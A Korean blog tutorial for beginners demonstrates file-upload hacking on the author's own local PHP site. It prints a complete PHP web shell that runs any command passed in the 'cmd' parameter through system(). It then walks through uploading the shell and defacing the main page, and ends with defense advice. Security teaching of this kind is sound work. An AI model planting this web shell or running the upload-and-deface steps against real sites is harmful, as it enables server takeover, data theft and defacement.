티스토리 뷰

직접 만든 웹 페이지에 파일 업로드 해킹 실습을 해보자

 

시작하기 전 한마디 : 파일 업로드를 통한 웹 쉘 띄우기 해킹으로 웹 해킹 입문자분들을 위해 쉬운 내용 위주로 준비했습니다.

 

 

웹 쉘을 통한 해킹은 뉴스에서도 쉽게 찾아볼 수 있는 해킹 기법으로 파급력이 어마무시하죠?

그렇다면 웹 쉘이란 무엇일까요?

 

Shell - 사용자의 명령을 OS에 전달해주는 프로그램

WEB Shell - 웹 브라우저를 사용해서 OS에 명령을 전달해주는 프로그램

(쉽게 말해 클라이언트의 명령을 서버에서 실행시켜주는 프로그램)

 

즉, 공격자가 악의적인 목적을 갖고 만든 프로그램으로 일단 서버에 업로드가 되면 공격자는 자신이 실행시키고자 하는 명령어를 전송해 서버에서 실행이 되게 만드는 것입니다.

 

<웹 서비스 실행 절차>

 

클라이언트가 웹 사이트에 접속하면 웹 서비스가 실행되고 웹 어플리케이션이 실행되고 DB에 접근이 됩니다.

아파치가 웹 서버를 구축하고 실행시키는거고 php가 언어인데 이 언어로 웹 사이트를 만들고 php와 DB를 연동해서 서버에 기록되는 정보가 저장되게 합니다.

 

 

 

그래서 이 파일 업로드는 웹 어플리케이션을 공격하는 기법인거죠.

 

 

그렇다면 FILE UPLOAD 취약점은 무엇일까요??

→ 파일 업로드 취약점은 파일 첨부를 할 수 있는 게시판에 일반적으로 허용된 이미지 파일, 워드 파일 이외의 악의적인 스크립트가 포함된 소스파일을 첨부함으로써 공격자가 서버상에서 스크립트를 실행시켜서 쉘을 획득하거나 서버를 변조시키는 등의 방법으로 웹서버를 장악하는 것을 말합니다.

 

 

 

그래서 제가 생각한 공격 시나리오는

1.웹 개발 언어 확인

2.개발 언어와 동일한 언어의 공격용 파일(web shell) 준비

3.파일 업로드 기능 찾기

4.정상적인 파일 업로드 후 업로드 경로 확인

5.공격용 파일 업로드

6.확인된 경로로 이동해 업로드된 웹 쉘 띄우기

7.메인 페이지를 변경해보자! (deface 공격)

이렇게 됩니다.

 

그렇다면 실습해볼 DEFACE 공격이란 무엇일까요?

→ DEFACE 공격은 홈페이지 메인 페이지를 변경하는 방식인데 주로 자신을 과시하거나 상대방을 협박하는 용도로 쓰입니다.

 

 

사례로는 해커팀 ANONYMOUS가 소니 홈페이지를 공격해 자신들의 요구를 표현한 등의 경우가 있었습니다.

 

 

그렇다면 웹 쉘을 띄우기 위해 필요한 코드를 확인해볼까요?

저는 입문자들을 위한 내용이기 때문에 쉘 코드도 쉬운 소스로 준비했습니다.

 

<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<body>
	<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
		<input type="TEXT" name="cmd" id="cmd" size="80">
		<input type="SUBMIT" value="Execute">
	</form>
	<pre>
		<?php header("Content-Type:text/html;charset=utf-8");

		if($_GET['cmd'])
		{
			system($_GET['cmd']);
		}
		?>
	</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

입력을 위한 폼을 만들고 php 언어로 시스템 함수를 실행하게 만드는 소스를 만들어줍니다.

(웹 쉘은 구글링을 해보면 굉장히 다양한 예제가 있으니 참고하세요!~)

저는 윈도우에 페이지를 만들었으므로 윈도우용 쉘 코드를 준비해줬습니다.

 

 

실습을 하기 전 준비사항으로는

  1. 파일 업로드가 가능한 게시판 (파일, 사진 첨부)

  2. 웹 사이트 개발에 사용된 언어와 동일한 언어로 짜여진 악성 스크립트

  3. 해킹 후 띄울 메인 페이지 준비

 

 

그리고 웹 쉘을 띄운 후 입력할 명령어를 알아볼껀데 저는 메인페이지를 변경할 것이므로 그에 맞춰서 명령어를 준비해줍니다.

CD - 현재 디렉터리 이름을 보여줍니다

DIR - 디렉터리에 있는 파일과 하위 디렉터리 목록을 보여줌

DEL - 하나 이상의 파일을 지웁니다.

RENAME - 파일 이름 변경 (rename a.php b.php)

MOVE – 파일을 이동시킴

 

 

자 그러면 준비가 끝났으므로 실습을 시작해보겠습니다.

실습 전 시간 절약을 위해 페이지가 php 언어로 짜여있다는 것을 확인하고 php로 된 웹 쉘을 만들고 파일 업로드시 main.php가 저장되어있는 디렉토리의 하위 디렉토리인 /upload에 저장됨을 확인해두었습니다.

 

먼저 공격할 페이지를 선택한 후 게시판 기능을 찾습니다.

BOARD 버튼이 게시판 같으니 들어가볼까요?

 

 

들어오면 게시판에 WRITE 버튼이 존재합니다.

 

 

 

글쓰기에 들어오면 우리가 찾던 첨부파일 기능이 있네요.

자 눌러봅시다.

 

 

 

시나리오대로 파일 업로드에 먼저 정상적인 이미지 파일을 업로드 해줬습니다.

 

 

 

 

업로드 성공 문구를 확인하고요

 

 

 

미리 확인해둔 경로에 파일명을 입력해보면 업로드한 이미지가 실행됨을 확인할 수가 있죠?

 

 

그렇다면 이제 웹 쉘을 올려봅시다.

 

 

 

 

 

 

 

마찬가지로 경로로 이동해 파일명을 attack.php로 변경하자 웹 쉘이 띄워지는 것이 확인됩니다.

 

 

그래서 준비했던 CD명령어를 입력해보자 현재 디렉토리의 경로가 나타납니다.

 

 

제가 웹 쉘을 띄우고싶은 디렉토리는 이 곳이 아닌 main.php가 있는 상위 디렉토리이므로

move C:\Apache24\htdocs\upload\attack.php C:\Apache24\htdocs를 입력해주면

 

 

 

attack.php의 경로가 127.0.0.1로 변경이 된 것을 볼 수 있습니다.

 

 

 

그리고 DIR 명령어로 디렉토리를 확인해보면 main.php가 있는 것이 보입니다.

 

 

 

 

저는 메인페이지를 변경하고싶기 때문에 main.php의 이름을 main2.php로 변경시키고 제가 준비한 main.php를 업로드할 것입니다.

 

 

 

확인해보면 main.php의 이름이 main2.php로 변경된 것을 볼 수가 있죠

 

 

 

그리고 제가 준비했던 main.php를 업로드 해줍니다.

 

 

 

이것도 마찬가지로 하위 디렉토리인 upload에 업로드 되었으므로 경로를 이동해줍니다.

 

 

 

확인해보면 main.php가 생겨났죠?

 

 

 

그리고 다시 돌아가 127.0.0.1/main.php로 접속해보면 메인페이지가 제가 만든 페이지로 변경된 것을 볼 수 있습니다!!

실습이 끝났습니다.ㅎㅎ

 

 

웹 쉘 공격으로 일어날 수 있는 피해로는

1.가입된 회원들의 개인정보 유출 피해

2.페이지를 해커의 마음대로 변경이 가능

3.웹 페이지 자체를 삭제 할 수 있음

이렇게 있습니다.

 

그렇다면 파일 업로드 해킹 방어 방법으로는 어떤 것이 있을까요?

1.웹 서버 설정을 변경하여 업로드 된 해당 파일의 실행 권한을 차단

2.파일 업로드 필터링 방식은 White-List 방식을 이용 (업로드 가능 확장자만 허용)

→ 확장자 변경 등의 우회 기법 차단

3.파일이 업로드 되는 디렉토리가 사용자에게 노출되지 않게 함

 

 

 

 

 

 

페이지를 직접 만들어서 실습을 하느라 시간이 걸렸던 파일 업로드 해킹이 끝났습니다 ^^

공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday